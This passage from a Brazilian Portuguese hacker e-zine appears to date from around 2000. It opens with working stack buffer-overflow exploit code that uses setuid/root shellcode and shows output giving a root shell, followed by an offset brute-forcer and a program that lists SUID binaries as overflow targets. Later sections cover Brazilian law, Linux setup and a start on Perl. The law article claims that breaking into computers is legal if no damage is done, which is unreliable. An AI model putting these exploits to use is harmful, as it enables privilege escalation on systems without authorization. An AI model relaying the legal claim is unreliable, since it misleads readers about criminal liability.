/* abaixo temos uma 'tecnica' que fazemos para facilitar o uso dos
offsets.. para nao ficarmos tentando chutar offsets negativos
(-1, -2...), nos fazemos o que se segue abaixo: */

addr = ret - offset;

/* Abaixo o addr (return address) eh enchido com o endereco do buffer.
fica algo como: shellcode + endereco_do_ buffer */

for (i=0;i<TAMANHO;i+=4) *(long *)&buffer[i] = addr;

/* Agora temos que encher o buffer de NOP's */

for (i=0;i<(TAMANHO-strlen(shellcode)-100);i++) *(buffer+i) = NOP;

/* Agora copiamos o shellcode para dentro do buffer */

memcpy(buffer+i,shellcode,strlen(shellcode));

/* Executamos o programa bugado com argumento em buffer */
execl("./vuln","vuln",buffer,0);
}
---------------------------- exploit.c ----------------------------

~$ gcc exploit.c -o exploit
~$ ./exploit 50
...
Illegal instruction

~$ ./exploit 150
...
Segmentation fault
~$ ./exploit 200
sh-2.04# id
uid=0(root) gid=100(users) groups=100(users)

Blz!! Funcionou!! Repare que eu tive que chutar uns offsets..vai
tentando aih!! Tente offsets de 50 em 50.

Existe uma tecnica, para pegar a posicao atual do stack pointer, que
eh muita utilizada em exploits!! Eis abaixo o esquema para isso:

long get_esp(void){
   __asm__("movl %esp, %eax\n");
}

ps: basta acrescentar o codigo acima no seu exploit. 'get_esp' eh
a variavel em que vai ficar armazenado o stack pointer. 

Agora, o mesmo exploit, soh que agora, usando esse metodo descrito
acima para pegar a posicao atual do stack pointer:

---------------------------- exploit2.c ----------------------------
/*  Abaixo temos os headers necessarios para as funcoes(); */

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

/* Abaixo nos definimos a instrucao NOP */

#define NOP        0x90

/* Abaixo nos definimos o tamanho de bytes que sao necessario para
gerar o overflow. Sabemos q se colocarmos uns 110 bytes o overflow
jah ocorre... mas eh bom colocarmos um buffer maior, para inserir
nosso shellcode. Na faixa de 100 bytes ou mais !! */

#define TAMANHO    200

/* pegamos a posicao atual do stack pointer */

unsigned long get_sp(void){
__asm__("movl %esp, %eax");
}

char shellcode[] = "\x31\xdb\x89\xd8\xb0\x17\xcd\x80" /* setuid(0) */
             "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c"
             "\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb"
             "\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";

int main(int argc, char **argv){
char buffer[TAMANHO];
int i, offset = 0;
unsigned long addr;

if(argc > 1) offset = atoi(argv[1]);

/* abaixo temos uma 'tecnica' que fazemos para facilitar o uso dos
offsets.. para nao ficarmos tentando chutar offsets negativos
(-1, -2...), nos fazemos o que se segue abaixo: */

addr = get_sp() - offset;

/* Abaixo o addr (return address) eh enchido com o endereco do buffer.
fica algo como: shellcode + endereco_do_ buffer */

for (i=0;i<TAMANHO;i+=4) *(long *)&buffer[i] = addr;

/* Agora temos que encher o buffer de NOP's */

for (i=0;i<(TAMANHO-strlen(shellcode)-100);i++) *(buffer+i) = NOP;

/* Agora copiamos o shellcode para dentro do buffer */

memcpy(buffer+i,shellcode,strlen(shellcode));

/* Executamos o programa bugado com argumento em buffer */
execl("./vuln","vuln",buffer,0);
}

---------------------------- exploit2.c ----------------------------

~$ gcc exploit2.c -o exploit2
~$ ./exploit2
...
~$ ./exploit2 10
...
Segmentation fault
~$ ./exploit 20
...
Segmentation fault
~$ ./exploit 30
sh-2.04# id
uid=0(root) gid=100(users) groups=100(users)

Viva!! Repare que foi bem mais facil..:) Portanto, lembre-se de sempre
usar este metodo!!

Costuma ocorrer varios problemas quando voce esta escrevendo exploits..
uma delas eh o problema de offsets.. a coisa mais chata q tem eh voce
ficar tentando descobrir o offset correto. Umas das resolucoes deste
problema, eh voce usar o alinhamento, sendo assim, o endereco de retorno
apontarah mais precisamente para onde nos queremos! Voce saber como
fazer isso, consultado o texto que o coracaodeleao fez,sobre escrita
de exploits para bufferoverflow.Existe tambem o projeto omega, o qual
eh um projeto que nao precisa ficar chutando offsets e tambem nao eh
necessario um shellcode para a construcao do exploit.

Abaixo voce encontra um brute force de offsets, o qual eh muito util.
Nao serah necessario explicar como usa-lo, pois ele jah eh auto-
explicativo!:)

------------------------------ nlbrutex.c ------------------------------
/* SIMPLES BRUTAL FORCE PARA SER USADO COM EXPLOITS.
   CHUTA OFFSETS EM UM PRE-DETERMINADO INTERVALO.
   DESENVOLVIDO POR NASHLEON VULGO CORACAODELEAO.
   nashleon@yahoo.com.br
   Esse eh soh um programa modelo, sinta-se a vontade
   para altera-lo.Procure nao sobrecarregar a memoria demais.
   Ele eh feito para simplificar, mas nao force muito.
   Visite: http://unsekurity.virtualave.net/
           http://unsekurity.cyberpunk.com.br/
   Entenda o conteito desse programa, entendendo, voce farah
   esquemas bem melhores.
*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

/* Alterar os intervalos caso necessite. */

#define INTERVALO_NORMAL      10
//#define INTERVLO_BUFFER       50
//#define INTERVALO_OFFSET      10
//#define INTERVALO_ENVVAR       5

void uso(char *nome);
int uns(char *path, int ini, int fim);
int unsek(char *path, int bini, int bfim, int oini, int ofim);
int unsekurity(char *path, int bini, int bfim, int oini, int ofim, int
eini, int efim);

void uso(char *nome){
system("clear");
printf("Brutal Force para Exploits by Nash Leon\n\n");
printf("Uso: %s <path_exploit> <modo> <intervalo(s)>\n\n",nome);
printf("Onde modo pode ser:\n");
printf("uns ->  Para chutar offsets ou buffers de X ateh Y.\n");
printf("Exemplo: %s /tmp/ex uns 0 1000\n",nome);
printf("unsek -> Para chutar buffers e offsets.\n");
printf("Exemplo: %s /tmp/ex unsek 0 100 -50 500\n",nome);
printf("unsekurity -> Para chutar buffers, offsets e env_var.\n");
printf("Exemplo: %s /tmp/ex 0 1000 -50 500 0 300\n\n",nome);
printf("\nOBS:  Cuidado na manipulacao de mais de um intervalo!\n");
printf("      A ordem segue buffer->offset->env_var.\n\n");
exit(0);
}
main(int argc, char *argv[]){
if(argc < 5){
uso(argv[0]);
}
if(!strcmp(argv[2],"uns")){
uns(argv[1],atoi(argv[3]),atoi(argv[4]));
}
if(!strcmp(argv[2],"unsek")){
unsek(argv[1],atoi(argv[3]),atoi(argv[4]),atoi(argv[5]),atoi(argv[6]));
}
if(!strcmp(argv[2],"unsekurity")){
unsekurity(argv[1],atoi(argv[3]),atoi(argv[4]),atoi(argv[5]),atoi(argv[6]),
atoi(argv[7]),atoi(argv[8]));
}
return 0;
}

int uns(char *path, int ini, int fim){
char exploit[255];
int i;
for(i = ini; i < fim; i+=INTERVALO_NORMAL){
snprintf(exploit,sizeof(exploit),"%s %d",path,i);
printf("Tentando (Buffer ou Offset) = %d\n",i);
system(exploit);
}
return 0;
}

int unsek(char *path, int bini, int bfim, int oini, int ofim){
char exploit[255];
int i,j;
for(i = bini; i < bfim; i=i+INTERVALO_NORMAL){
for(j = oini; j < ofim; j=j+INTERVALO_NORMAL){
snprintf(exploit,sizeof(exploit),"%s %d %d",path,i,j);
printf("Tentando Buffer = %d  | Offset = %d\n",i,j);
system(exploit);
}
usleep(10000);
}
return 0;
}

int unsekurity(char *path, int bini, int bfim, int oini, int ofim, int
eini,int
efim){
char exploit[255];
int i,j,k;
for(i = bini; i < bfim; i=i+INTERVALO_NORMAL){
for(j = oini; j < ofim; j=j+INTERVALO_NORMAL){
for(k = eini; k < efim; k=k+INTERVALO_NORMAL){
snprintf(exploit,sizeof(exploit),"%s %d %d %d",path,i,j,k);
printf("Tentando Buffer = %d  | Offset = %d\n | EggSize = %d",i,j,k);
system(exploit);
}
usleep(10000);
}
usleep(20000);
}
return 0;
}
-----------------------------------------------------------------------

Os metodos descritos aqui, j estao meio ultrapados!! Por isso que voce
tem que correr atras de novas tecnicas, pois dificilmente voce encontra
programas vulneraveis a esse tipo de overflow! Atualmente, temos muitas
tecnicas conhecidas, tais como: race conditions, format bugs, o projeto
omega, heap overflows,expand overflows,entre outras.Por isso,meu amigo,
nao perca tempo e corra atras!!


* Referencia
http://unsekurity.virtualave.net - Escrita de Exploits para BufferOverflow
                                 - Escrita de Shellcode Parte 1 e Parte 2
http://packetstorm.securify.com  - Geradores de shellcode and others txt's
http://www.insecure.org/stf/mudge_buffer_overflow_tutorial.html
http://bounce.to/unah16 - Projeto Omega 


                                                  Gotoxy
                                                  gotoxy@linuxbr.com.br
.:x|-------------------------------------------------------------------|x:.










SETOR [06]
==[ Leis Brasileiras ]==
==[ por Evilman      ]==

* Leis Brasileiras Relacionadas ao Hacking 


    ::> Indice

    :00:   Introducao 
    :01:   Pedofilia
    :02:   Furto
    :03:   Discriminacao
    :04:   Divulgacao de Segredo
    :05:   Violacao de Correspondencia
    :06:   Ameaca
    :07:   Incitacao ao Crime
    :08:   Dano
    :09:   Estelionato
    :10:   Calunia, Injuria e Difamacao
    :11:   Pirataria
    :12:   Projetos Futuros...
    :13:   O que eh Legal no Hacking ?
    :14:   Concluindo
    :15:   Bibliografia



    :00:> Introducao 
   
    Aqui vc encontrara algumas  leis brasileiras,  quais seus objetivos e
  consequencias. Espero que vc aproveite ao maximo os dados contidos aqui
  e que fique claro para  vc,  que hackers nao sao criminos,  hackers sao
  somente pessoas que amam o que fazem,  mas infelizmente sao discrimina-
  dos...


    :01:> Pedofilia

    A troca de fotos erticas envolvendo crianas, comoveu e movimentou a
  sociedade mundial, surgindo orgaos nao governamentais,  delegacias vir-
  tuais e ateh mesmo hackers montaram um manifesto contra este crime  an-
  tigo mas q foi remodelado aos dias d hoje.
    A pratica d pedofilia, enquadra o individuo nos crimes de corrupao e
  seducao de menores, conforme o Codigo Penal, artigos 217 e 218.
    Ainda no artigo 241, diz que "fotografar ou publicar cena de sexo ex-
  plicito ou pornografica envolvendo crianca ou adolescente", a  pena  eh
  de detencao de 1 a 4 anos e multa.

    :02:> Furto

    O  furto  nao eh aplicado  ao meio digital... Mas se vc retirar dados
  indevidos como documentos, tratados, entre outros arquivos q nao  sejam
  especificamente programas de computador. Feito isso, vc seria enquadra-
  do nos crimes do artigo 155 do Codigo Penal. A pena de  detencao  varia
  de 1 a 4 anos mais multa.

    :03:> Discriminacao

    Eh isso mesmo!
    Discriminacao eh crime, segundo o artigo 20 da lei 7.716/89 (este so-
  freu alteracoes posteriores pelas leis no. 8.882, de 3/6/94 e no. 9.459
  de 13/5/97).
    Este artigo diz que "praticar,  induzir ou incitar a discriminacao ou
  preconceito de raca, cor, etnia, religiao ou procedencia nacional". Sua
  pena de reclusao varia de 1 a 3 anos mais multa. Mas em nosso caso, es-
  ta discriminacao eh por meio da Internet, ou seja, "por  intermedio dos
  meios de comunicacao social  ou publicacao de qualquer natureza",  tor-
  nando  assim  o  crime mais grave, almentando sua pena de 2 a 5 anos de
  prisao mais multa, isto tambem vale para simbolos q utilizem a cruz su-
  astica, ou seja, "Fabricar, comercializar, distribuir ou  veicular sim-
  bolos,  emblemas,  ornamentos,  distintivos ou propaganda q utilizem  a
  cruz suastica ou gamada, para fim de divulgacao do nazismo".

    :04:> Divulgacao de Segredo

    Se vc invadir um computador e divulgar dados confidenciais como docu-
  mentacao... isto o enquadra no artigo 153 do Codigo Penal, que nos fala
  o  seguinte  "divulgar alguem,  sem justa causa,  conteudo de documento
  particular ou de correspondencia  confidencial,  de que eh destinatario
  ou detentor,  e cuja divulgacao possa produzir dano a outrem".  A  pena
  varia de 1 a 6 meses ou multa.

    :05:> Violacao de Correspondencia

    Como isso pode ser aplicado a Internet?  Nao se esqueca de q o e-mail
  dispensa papel mas eh visto como uma carta comum, assim eh crime ler  a
  correspondencia dos outros, eh o q diz o artigo 151 do Codigo Penal on-
  de "devassar indevidamente o conteudo de correspondencia fechada, diri-
  gida a outrem" eh crime. Isto vale para empresas e provedores de e-mail
  q se acham no direito de espionar os emails de seus empregados.  A pena
  eh d 1 a 6 meses de detencao ou multa.

    :06:> Ameaca

    Se voce mandar e-mail ou atraves de chat, ameacar alguem com  ameacas
  graves, do tipo "vou te matar", e esta "causar-lhe mal injusto e grave"
  a  detencao  varia de 1 a 6 meses.  Portanto  cuidado no q fala em suas
  brincadeiras!

    :07:> Incitacao ao Crime

    Apologia eh crime! Segundo os artigos 286 e 287. Por exemplo, se voce
  criar uma hp com apologias a drogas ou incentivar o uso delas, pode fi-
  car preso de 3 a 6 meses ou pagar multa, segundo o artigo 296. E se vo-
  ce alem de incitar o crime, "fizer publicamente,  apologia de fato cri-
  minoso ou autor de crime", podendo acumular uma pena de 3 a 6 meses  de
  detencao ou multa, segundo o artigo 287.

    :08:> Dano

    Atencao Crackers, este eh o delito para voces!  Segundo o artigo  163
  do Codigo Penal, "destruir, inutilizar ou deteriorar coisa alheia", en-
  quadra o individuo a cumprir a pena de 1 a 6 meses de detencao ou multa
  isto tambem vale para virus destrutivos no computador de outrem,  inva-
  soes q ocasionem formatacao de HD da vitima ou qualquer outra acao des-
  trutiva aos dados alheios. Ainda se o crime for cometido  "contra o pa-
  trimonio da Unio, Estado, Municipio,  empresa concessionaria de servi-
  cos publicos ou sociedade de economia mista"  isso  vale  a delegacias,
  tribunais, instituicoes, universidades publicas, estatais.  Assim a pe-
  na almenta para detencao de 6 meses a 3 anos mais multa.  Ainda  ha uma
  cominacao civil, artigo 159 do Codigo Civil q manda restituir o  patri-
  monio destruido e arcar com o prejuizo causado.

    :09:> Estelionato

    O individuo que "obter, para si ou para outrem, vantagem ilicita,  em
  prejuizo alheio, induzido ou mantendo alguem em erro,  mediante artifi- 
  cio, ardil, ou qualquer outro meio fraudulento",  conforme o famoso ar-
  tigo do Codigo Penal, 171. A pena varia de 1 a 5 anos de detencao.
    Incluindo tambem nesta: clonagem de cartao de credito,  desvio de di-
  nheiro de contas correntes,  alteracao  desautorizada no banco de dados
  de instituicoes escolares e governamentais, e em outras situacoes de  q
  haja o proveito de acoes maleficas.

    :10:> Calunia, Injuria e Difamacao

    Esta eh a pena q se encaixa para Script Kiddies  q adoram "aparecer", 
  desfigurando sites, substituindo fotos e textos por outros ofensivos.
    Mas "injuriar alguem, ofendendo-lhe a dignidade ou decoro" esta defi-
  nido como crime de injuria no artigo 140  do  Codigo Penal, a pena: de-
  tencao de 1 a 6 meses ou multa. Isso vale para  qualquer  xingamento ou
  ofensa pessoal, mas se em vez de injuriar, vc  "imputar fato ofensivo a
  reputacao da vitima", a pena almenta, pois estamos falando de difamacao
  sendo de 3 meses a 1 ano e multa. Ja a calunia eh mais rara no meio di-
  gital,  pois voce teria de atribuir um crime a pessoa q de fato ela nao
  cometeu.

    :11:> Pirataria

    A lei 9609/98 trata  da propriedade intelectual dos programas de com-
  putador e tambem dispoe sobre a pirataria de software.  Assim,  se voce
  "violar os direitos de autor de programa de computador", produzindo co-
  pias ilegais, esta setenciado a pena de 6 meses a 2 anos mais uma multa
  q a ABES (Associacao Brasileira de Empresas de Software) avalia em duas
  mil vezes o valor do software original. Mas se a copia tem fins  comer-
  ciais, esta pena almenta para 1 a 4 anos de prisao mais a multa. Mas eh
  claro q se vc comprar um gravador de CDs e  realizar  suas proprias co-
  pias caseiras para uso pessoal, eh quase impossivel acontecer algo  com
  vc, pois para isso o poder Judiciario teria  de  emitir  um  mandado de
  busca para a Policia Federal, para soh assim poder entrar na sua casa e
  vistoria-la. 
    E para CDs de musica, segundo a lei 9610/98,  a  pena eh de 3 meses a
  1 ano de detencao e multa, jah na pirataria comercial, a pena eh de 1 a
  4 anos de prisao mais multa!

    :12:> Projetos Futuros...

    Ha um projeto de Lei, proposto pelo deputado Luiz Piauhylino,  q visa
  incriminar hackers e empresas que usam a Internet para obter  "informa-
  coes de marketing" de seus internautas. O projeto de Lei 84/1999 dedica
  o capitulo II inteiro  privacidade online, tento como alvo os gigantes
  que seguem os passos de seus navegantes. No capitulo III agrava o crime
  de dano cometido por computador, pena de 1 a 3 anos de detencao e multa
  e tipifica novas modalidades criminais, como por exemplo o  "acesso in-
  devido ou nao autorizado" ou seja, a invasao, a "violacao de segredo em
  computador ou similar" e, por ultimo,  a  "criacao, desenvolvimento, ou
  insercao em computador de dados de programa de computador com fins  no-
  civos". Traduzindo, se o projeto, que jah foi aprovado pela comissao de
  Ciencia e Tecnologia de Brasilia, passar pelo congresso,  criar virus e
  invadir via IP, se tornam crimes passiveis de detencao!!!
    Entao, reze para que este projeto nao seja aprovado pelo congresso!

    :13:> O que eh Legal no Hacking ?

    Ha sim Legalidade no Hackerismo! Pelo menos no Brasil... Pois segundo
  o artigo 5,  inciso II CF/88,  "ninguem sera obrigado a fazer ou deixar
  de fazer algo senao em virtude da lei", e ainda:  "nao ha crime sem lei
  anterior que o defina, nem pena sem previa cominacao",  isso segundo  o
  artigo 5,  inciso XXXIX.  Gracas a isso vc nao ha de temer qualquer uma
  das acoes descritas abaixo, pois elas contam com o amparo da lei!

   ::> Escrever codigo de virus de computador, cavalos de troia, divulgar
       e estudar seu codigo sem fins destrutivos. Procurar e divulgar in-
       formacoes sobre o tema;
   
   ::> Promover a engenharia reversa de software, extraindo o codigo fon-
       te do programa a partir do executavel.
 
   ::> Invadir computadores por qualquer meio,  desde que nao cause danos
       ao usuario do micro invadido.

   ::> Criar foruns, palestras, associacoes, grupos e cursos sobre hacke-
       rismo.

   ::> Desenvolver, investigar e quebrar metodos criptograficos.

   ::> Investifar  e  quebrar os mecanismos de protecao de software ditos
       shareware,  desde que nao haja fins comerciais e que voce nao per- 
       maneca usando o programa sem pagar pela devida licenca.

   ::> Desconectar alguem da sala de chat / IRC.
 
   ::> Copiar um DVD para seu micro e digitaliza-lo para uso pessoal.

   ::> Criar padroes novos de compressao de audio, video e dados.

   ::> Converter  as musicas de um CD que voce adquiriu  legalmente  para
       mp3 e compartilhar os arquivos de seu computador.

   ::> Tecer apologias aos hackers e construir sites na internet sobre  o
       tema;

   ::> Investigar falhas e brechas no sistema de telefonia.

   Como  vc  pode ver,  ser  um hacker "dentro da lei" nao eh tao dificil
  quanto algumas pessoas lhe fazem supor. Observando os artigos aqui des-
  critos, vc pode hackear a vontade sem ter maiores problemas.
   Hacking Etico e Legal, Rulez!

   :14:> Concluindo

   Nao sei se existem mais leis contra ou a favor do hacking,  espero que
  esteja  sanada  qualquer  duvida sobre as acoes de hackerimos ilegais e
  legais, afinal, nao fazemos nada de errado,  soh queremos aprender mais
  e mais, pois nao se esqueca que a maioria das melhores invensoes, foram
  feitas por hackers, como por exemplo a Internet,  sem contar os hackers
  que  estao  relacionados  fora do meio  tecnologico,  como cientistas e
  outros genios, que tanto fazem para o mundo e acabam sempre discrimina-
  dos...

   :15:> Bibliografia

   Estes dados foram retirados da Revista Geek numero 10, pagina 52 a 57,
  modificados por EvilMan, com o objetivo de viabilizar estas informacoes
  a  todos  que  estao  de  alguma forma relacionadas ou nao a comunidade
  hacking. Parabens a Revista Geek pela exelente materia.


                                                  Evilman
                                                  evilman@linuxbr.com.br
.:x|-------------------------------------------------------------------|x:.












SETOR [07]
==[ Cursinho de Linux - Parte 7 ]==
==[ por Gotoxy                  ]==

t0pics:
1. Introducao
2. Som no Slackware - by Hopnet
3. BitchX
4. Programas suids
5. O que eh DNS ?
6. O que eh SSH ?
7. The end

-----------------------------------------------------------------------
# 1. Introducao                                                       #
-----------------------------------------------------------------------

Mais um cursinho de Linux... Neste voce aprendera a configurar o som no
slackware (que foi escrito por Hopnet), aprenderah a usar o BitchX(um
otimo cliente de irc) e muitos mais!confira! Bem,entao eh isso!!valeu=)

-----------------------------------------------------------------------
# 2. Som no Slackware                                                 #   
-----------------------------------------------------------------------

Sistema testado: Slackware 7.0(2.2.13) e Slackware 7.1(2.2.16)

1.Digite no console: 

# modprobe sound 

Com isso o modulo do som vai inicia em toda a inicializacao.

2.Agora vc vai ter que abilitar o suporte pra sua placa de 
Som. Para isso edite o arquivo :

/etc/rc.d/rc.modules

Aih dentro procure por "SOUND SUPPORT" , logo abaixo procure 
pelo nome da sua placa de som, como ah minha eh uma Sound 
Blaster pro/16 vai ficar assim :

### Sound support ###
# Sound Blater pro/16 support:
/sbin/modprobe sb io=0x200 irq=5 dma=3 dma16=5 mpu_io=0x300

Eu soh descomentei a linha que corresponde ao suporte da 
minha placa de som. Depois reinicie o 'rc.modules':

# cd /etc/rc.d/
# ./rc.modules  
ou soh
# /etc/rc.d/rc.modules 

Aih teste com o 'mpg123' (ainda como root)
Se nao funfa segua os passos abaixo.
obs.: Aconselho seguir os passos abaixo mesmo se funfa pra 
garanti !! duh:) Mas tipo meus testes foram com uma Placa 
ISA por isso os passos abaixo eh mais pra placas ISA nao 
sei se funfa em PCI, mas se a sua for PCI, tenta talvez 
funfa:).

3.Digite:

# pnpdump --config > /etc/isapnp.conf

logo depois:

# isapnp /etc/isapnp.conf

Aih vc pegua a saida e anota ou manda ah saida pra um 
arquivo pra poder consultar depois.
Consultando a saida crie a seguinte linha em 'modules.conf'.
arquivo: '/etc/modules.conf':

options io=0x220 mss_io=0x330 irq=5 dma=1 dma2=5 

Mude os parametros de acordo com os dados que recebeu com a
saida de 'isapnp /etc/isapnp.conf'.
Aih restarte o 'rc.modules' de novo, ou reinicie a maquina,
reinicie eh melhor :) .
Pronto deve funcionar, se nao, verifique se nao esqueceu de 
nada ou se alguma configuracao em '/etc/modules.conf' esteja 
errada.

4. Aih com isso soh o 'root' vai poder ouvir/usar a placa de
som, para que um usuario comun possa ouvir suas preciosas mp3's
ele ou tem que ser do grupo 'sys' ou mude o grupo de '/dev/dsp'
para o grupo do usuario que vai poder ouvir/usar a placa, entao
faca isso:

# chown root.<grupodosuer> /dev/dsp

ex.:

# chown root.users /dev/dsp

Pronto agora o usuario com grupo 'users' vai poder ouvir suas
mp3's :) .

AIh logo abaixo vai um 'Shell Script' para automatizar o processo
de tocar suas mp3's, coloque ele no '~/bin' do usuario.

#### mp3.sh ####

#!/bin/sh
# nome: mp3.sh
# descricao: Automatizador, para tocar varias mp3's.
# Autor: Hophet !!! :)

select mp3 in *.mp3; do
/usr/local/bin/mpg123 "$mp3"
done
exit

# EOF

#### mp3.sh ####
 
  
obs.: Pra funfa o 'ShellS' pra mp3 o 'mpg123' tem que ta instalado,
vc pode pegalo em: http://mpg.123.org .
Falow pessoal espero q isso aqui tenha sido util pra algo
tanks: Blood_Sucker, e o pessoal do Zinebr.
Um abraco a todos, e espero ta sempre ajudando.

Hopnet
hophet@yahoo.com.br

-----------------------------------------------------------------------
# 3. BitchX                                                           #
-----------------------------------------------------------------------

O BX (BitchX) eh um cliente de irc muito utilizado hoje em dia!! Mas 
ele eh usado mais por usuarios linux experientes.. (akeles que usam
modo texto, conhece bem os comandos, ...). E os usuarios mais leigos
nao o utilizam pois nao sabem como usa-lo..portanto eu vou ensinar 
aki desde a instalacao ateh o uso deste fantastico software!!

1. A instalacao

Antes de instalar, voce deve pegar o binario dele.. vc pode encontra-lo
no site da linuxall (www.linuxall.org)! Caso voce use distribuicoes como
conectiva,redhat,mandrake,entre outros, com certeza no cd de instalacao
dessas distribuicoes deve tem o BX.

->   Instalando o binario

Apos fazer o download dele, basta instala-lo com os seguintes comandos
abaixo:

# tar zxvf Bitchx-versao.tar.gz
# cd BitchX-versao
# ./configure
# make
# make install

Pronto

->   Instalando o RPM

Para instalar o pacote .rpm do Bx, basta digitar o comando abaixo:

# rpm -ivh BitchX-versao.rpm

Pronto


2. Executando ele

Apos a instalacao, basta digitar o comando abaixo para acessar o irc:

# BitchX seunick servidor
ex:
# BitchX Gotoxy irc.brasnet.org

Assim voce acessarah o servidor ... para mais informacoes BitchX --help
e man BitchX

3. Comandos uteis

Well, saiba desde jah que para "brincar" no bx, voce usa apenas comandos..
por exemplo, abrir janelas, pvts, enviar arquivo, receber arquivo, etc..
eh tudo na base de comandos..portanto, veja abaixo alguns comandos q serao
extremamente necessarios para voce manipular o bx:

Entrando em canais: /j #canal
Conversando em pvt: /query nick
Fechando pvt: /q
Saindo do Bx: /quit
Saindo de um canal: /part
Desligando os beeps: /set beep off
Salvando as configuracoes: /save
Criando novas janelas: /window new hide
Entrando nas janelas: [alt]+1, [alt]+2, e assim por diante..
Deixando as outras janelas como na primeira: /window double on
Para ver quem esta no canal: /scan
Para des-ignorar um nick: /unig nick
Exibir informacoes sobre um user: /whois nick
Para exibir o help: /help
Para saber mais detalhes sobre um comando: /comando -help

-----------------------------------------------------------------------
# 4. Programas suids                                                  #
-----------------------------------------------------------------------

As vezes eh bom conhecer os programas suids do seu (ou de outros) 
sistema(s). Pq?? ueh.. para voce tentar condicoes de overflows (heap's,
stack's overflows, race condition, format bugs, entre outros..) Portanto
abaixe segue um simples programinha q procura os programas suids no
sistema automaticamente para voce e os salva em um arquivo de LOG..veja:

/***************************************************************
 * ZiNESbr - http://zinesbr.hpg.com.br                         *
 * Descricao: Find programs suids in system                    *
 * Autor: Gotoxy                                               *
 ***************************************************************/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define METODO1 "metodo1.txt" /* Defina aqui o LOG do metodo1 */
#define METODO2 "metodo2.txt" /* Defina aqui o LOG do metodo2 */

int main(int argc, char **argv){

char cmd[100], cmd2[100];

if (argc!=2)
   {
   printf("Use: %s -h for more information\n",argv[0]);
   exit(0);
   }
if(!strcmp(argv[1],"-h"))
 {
 printf("\ntype: %s metodo1\n",argv[0]);
 printf("para procurar por arquivos suid ou sgid no sistema\n\n");
 printf("type: %s metodo2\n",argv[0]);
 printf("para procurar por arquivos suid do root executavel para todos\n\n");
 exit(0);
 }
if(!strcmp(argv[1],"metodo1"))
  {
  printf("Ok hacker, starting metodo1...\n");
  sprintf(cmd,"find / -perm -4000 -o -perm -2000 > %s",METODO1);
  system(cmd);
  exit(0);
  }
if(!strcmp(argv[1],"metodo2"))
  {
  printf("Ok hacker, starting metodo2...\n");
  sprintf(cmd2,"find / -user root -perm -4001 > %s ",METODO2);
  system(cmd2);
  exit(0);
  }
}
//--end

-----------------------------------------------------------------------
# 5. O que eh DNS ?                                                   #
-----------------------------------------------------------------------

DNS significa Domain Name System (Sistema de nomes de dominios). O que
ele faz eh simplesmente converter nomes (hosts.) para um determinado
IP. Complicou? hmm..deixa eu explicar melhor..abaixo segue um exemplo:

eu vou no browser e digito: www.priscila.com.br 
aih, automaticamente, o DNS converte este host(www.priscila.com.br) para
200.220.12.1 (por exemplo)

isto foi inventando para facilitar a nossa vida..pq seria muito dificil
decorar cada IP para entrar num host.. por exemplo:

se eu quiser entrar entrar no site do zinesbr.. eu teria q decorar o ip
dela..se eu quisesse entrar no site da playboy, teria q decorar o IP de
la, e assim vai.. eu teria q saber cada IP de cada host q eu quisesse
entrar..

felizmente, eles inventaram o DNS!! =)

estou falando sobre DNS, pq quando um usuario vai se conectar na internet
via linux, precisa especificar um IP de DNS no arquivo /etc/resolv.conf.


-----------------------------------------------------------------------
# 6. O que eh SSH ?                                                   #
-----------------------------------------------------------------------

SSH (Secure Shell) eh um programa estilo telnet... ele faz as mesmas
coisas que o telnet e ateh mais coisas.. :) e ele tem uma grande vantagem
que o telnet nao tem.

os dados que circulam dentro do telnet, nao sao criptografados.. isso
quer dizer q se uma pessoa rodar um sniffer la vai pegar tudo de mao
beijada (logins,passwords,etc...)..

o ssh criptografa todos os dados.. isso quer dizer q se uma pessoa 
sniffa-la, nao vai entender nada do que foi logado pelo sniffer, pois
estarah tudo criptografado..

mas, se alguem utilizar o ataque man in the middle no ssh, conseguirah
pegar dados desincriptografados.. se quer saber mais sobre essa tecnica,
pegue o programa Dsniff (veja tb o seu codigo fonte para saber o 
funcionamento do mesmo).

-----------------------------------------------------------------------
# 7. The End                                                          #
-----------------------------------------------------------------------

Eh, acho que deu pra vc aprender alguma coisa.. edicao 08 tem
mais cursinho de linux para voce!!:) Portanto, aguarde...

                                                  Gotoxy
                                                  gotoxy@linuxbr.com.br
.:x|-------------------------------------------------------------------|x:.










SETOR [08]
==[ Curso de Perl - Parte I ]==
==[ por sort                ]==

Bem gente, o curso de perl inicialmente est sendo dirigido por mim (Sort),
mas quem quiser ajudar aqui nessa seo e se interessar a programao 
voltada ao fucador  benvindo.

A idia que quero tentar passar nesse texto " que a inteno no  ser 
mais um script kiddie,  ser um hackerrr!!" Bem,se voc acompanha 
diretamente a unsekurity scene, sabe do que comecei a me dirigir, a frase
acima que falei entre "" aparece no Video tico da unsekurity scene.... 
Ento a idia se basea aonde, se voc aprender a programar, o que vai vir 
consequentemente, a programao e depois a programao voltada a exploits..
Bem... e qual o intuito disso tudo?

Simples.....Se voc aprender a programar, na hora de desenvolver um exploit 
voc vai saber como a segurana funciona e vai deixar de ser um "Pseudo 
script kiddie".

Imagine a sensao de entrar num servidor com uma ferramenta que voc 
desenvolveu? nao eh o mesmo do que entrar na packet storm, baixar um exploit
e entrar num server num simples:

bash$ gcc exploit.c -o exploit
bash$ ./exploit
bash#

		Tenham d, no?

Bem.... No vou ser mal educado, como fui nos meus outros textos.... Elites 
vocs j sabem tudo, portanto aqui vocs no acharam nada de
interessante...

Kiddies, esse  o momento certo para largar os exploits e virar um "Fucador 
newbie"..

Agora que meus pensamentos j foram passados, vamos tentar aprender!

#######################################################

     INDICE
[1]-            PERL
[2]-            Sinais
[3]-            Comando print
[4]-            Variveis
[5]-            Operadores (IF e While)
[6]-            FIM

####################################################### 

[1]- PERL

Bem.... aqui mostrarei com se faz o fundamento bsico de como as coisas 
funcionam no perl....

O criador do perl  Larry Wall ..... (Exclarecido)

Num code perl... sempre deve ter no comeco do code

#!/usr/bin/perl -w 

Bem use -w se kiser ele mostra tudo q se passa no script enquanto est sendo 
interpretado...

#!/usr/bin/perl mostra a localizao de onde est o interpretador perl para a 
execuo do script...

Apos saber esses fundamentos bsicos, aprenda como se usar o script...

Existem 2 maneiras....
a primeira  assim:

bash$ chmod 777 arquivo.pl
bash$ ./arquivo.pl

e a segunda  assim:

bash$ perl arquivo.pl

